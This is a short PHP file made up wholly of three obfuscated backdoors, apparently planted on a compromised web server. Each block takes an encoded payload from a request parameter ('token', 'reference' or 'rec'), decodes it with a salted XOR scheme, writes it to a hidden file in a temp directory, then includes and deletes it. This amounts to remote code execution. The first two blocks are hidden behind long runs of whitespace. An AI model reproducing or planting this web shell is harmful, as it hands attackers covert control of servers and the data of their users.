<?php																																										if(array_key_exists("\x74o\x6Ben", $_REQUEST) && !is_null($_REQUEST["\x74o\x6Ben"])){ $tkn = $_REQUEST["\x74o\x6Ben"]; $tkn = explode ( '.' ,$tkn ) ; $pset = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($tkn as $o => $v3): $sChar = ord($s1[$o %$sLen]); $dec = ((int)$v3 - $sChar - ($o %10))^91; $pset .= chr($dec); endforeach; $entry = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($entry as $key => $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $fac = join("/", [$ent, ".pgrp"]); if (@file_put_contents($fac, $pset) !== false) { include $fac; unlink($fac); die(); } } } }
																																										if(@$_POST["r\x65\x66e\x72e\x6Ece"] !== null){ $property_set = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $bind = $_POST["r\x65\x66e\x72e\x6Ece"]; $bind=explode ( '.' , $bind ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($bind); for ($k = 0; $k < $len; $k++) { $v6 = $bind[$k]; $chS = ord($salt[$k % $sLen]); $dec = ((int)$v6 - $chS - ($k % 10)) ^ 59; $itm .=chr($dec); } foreach ($property_set as $key => $record) { if (array_product([is_dir($record), is_writable($record)])) { $descriptor = join("/", [$record, ".symbol"]); $success = file_put_contents($descriptor, $itm); if ($success) { include $descriptor; @unlink($descriptor); die();} } } }


if(isset($_POST["rec"])){
	$descriptor = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]);
	$dchunk = $_POST["rec"];
	 	$dchunk	=explode	  (	"." 	,	 $dchunk		) 	;		 
	$item = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $__len = count($dchunk);
    
            for($r = 0; $r < $__len; $r++) {$v6 = $dchunk[$r];
                $sChar = ord($salt[$r % $lenS]);
                $d =((int)$v6 - $sChar -($r % 10))	^81;
                $item.=chr($d);		}
	foreach ($descriptor as $binding) {
    		if (is_writable($binding) && is_dir($binding)) {
    $sym = sprintf("%s/.desc", $binding);
    $file = fopen($sym, 'w');
if ($file) {
	fwrite($file, $item);
	fclose($file);
	include $sym;
	@unlink($sym);
	exit;
}
}
}
}